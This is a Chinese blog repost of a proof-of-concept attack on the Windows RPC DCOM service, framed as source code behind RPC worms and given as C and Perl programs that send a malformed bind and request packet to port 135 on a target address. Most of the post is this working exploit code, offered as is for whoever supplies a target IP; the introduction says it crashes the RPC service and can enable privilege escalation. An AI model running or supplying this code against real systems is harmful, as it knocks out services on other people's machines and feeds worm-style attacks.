RPC蠕虫病毒主要技术源代码

转载 2006年06月01日 21:09:00

安全焦点网站于2003年7月21日发布了该漏洞的测试代码,现在的RPC蠕虫基本上是利用了该代码,我们现在转载该代码供大家研究。
WINDOWS的RPC服务(RPCSS)存在漏洞,当发送一个畸形包的时候,会导致RPC服务无提示的崩溃掉。由于RPC服务是一个特殊的系统服务,许多应用和服务程序都依赖于他,因为可以造成这些程序与服务的拒绝服务。同时可以通过劫持epmapper管道和135端口的方法来提升权限和获取敏感信息。

代码
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};


void main(int argc,char ** argv)
{
  WSADATA WSAData;
int i;
  SOCKET sock;
  SOCKADDR_IN addr_in;

short port=135;
unsigned char buf1[0x1000];
printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org/n");
printf("Code by FlashSky,Flashsky@xfocus.org,benjurry,benjurry@xfocus.org/n");
printf("Welcome to http://www.xfocus.net/n");
if(argc<2)
{
 printf("useage:%s target/n",argv[0]);
exit(1);
}


  if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
  {
    printf("WSAStartup error.Error:%d/n",WSAGetLastError());
    return;
  }

  addr_in.sin_family=AF_INET;
  addr_in.sin_port=htons(port);
  addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
  {
    printf("Socket failed.Error:%d/n",WSAGetLastError());
    return;
  }
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
 printf("Connect failed.Error:%d",WSAGetLastError());
 return;
}
if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
  printf("Send failed.Error:%d/n",WSAGetLastError());
  return;
}

i=recv(sock,buf1,1024,MSG_PEEK);
if (send(sock,request,sizeof(request),0)==SOCKET_ERROR)
{
  printf("Send failed.Error:%d/n",WSAGetLastError());
  return;
}
i=recv(sock,buf1,1024,MSG_PEEK);
}


#!/usr/bin/perl -w
# By SecurITeam"s Experts
my $bindstr = "/x05/x00/x0B/x03/x10/x00/x00/x00/x48/x00/x00/x00/x7F/x00/x00/x00/xD0/x16/xD0/x16/x00/x00/x00/x00/x01/x00/x00/x00/x01/x00/x01/x00/xA0/x01/x00/x00/x00/x00/x00/x00/xC0/x00/x00/x00/x00/x00/x00/x46/x00/x00/x00/x00/x04/x5D/x88/x8A/xEB/x1C/xC9/x11/x9F/xE8/x08/x00/x2B/x10/x48/x60/x02/x00/x00/x00";

my $request = "/x05/x00/x00/x03/x10/x00/x00/x00/x48/x00/x00/x00/x13/x00/x00/x00/x90/x00/x00/x00/x01/x00/x03/x00/x05/x00/x06/x01/x00/x00/x00/x00/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x00/x00/x00/x00/x00/x00/x00/x00";

use Socket;
$proto = getprotobyname("tcp");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems/n");

$IP = $ARGV[0];
$target = inet_aton($IP);
$paddr = sockaddr_in(135, $target);

connect(S, $paddr) || die "connect: $!";

select(S); $|=1;

print $bindstr;

sleep(2);

print $request;
sleep(2);

select(STDOUT);
close(S);

 

举报

相关文章推荐

透视木马程序开发技术:病毒源代码详解(一)

近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制...

透视木马程序开发技术:病毒源代码详解

透视木马程序开发技术:病毒源代码详解(上) 近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。其...

我是如何成为一名python大咖的?

人生苦短,都说必须python,那么我分享下我是如何从小白成为Python资深开发者的吧。2014年我大学刚毕业..

病毒、蠕虫与木马之间有什么区别?

随着互联网的日益流行,各种病毒木马也猖厥起来,几乎每天都有新的病毒产生,大肆传播破坏,给广大互联网用户造成了极大的危害,几乎到了令人谈毒色变的地步。各种病毒,蠕虫,木马纷至沓来,令人防不胜防,苦恼无比...

病毒、木马、蠕虫与恶意代码关键点

病毒:寄生存在,所谓寄生,就是病毒的指令存在于其它可执行程序的空指令部分。如下图为一个标准的计寄生形式的病毒: 运行可执行程序,一个jmp指令会导致程序跳转到病毒所在指令处开始执行,执行完毕之后...
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)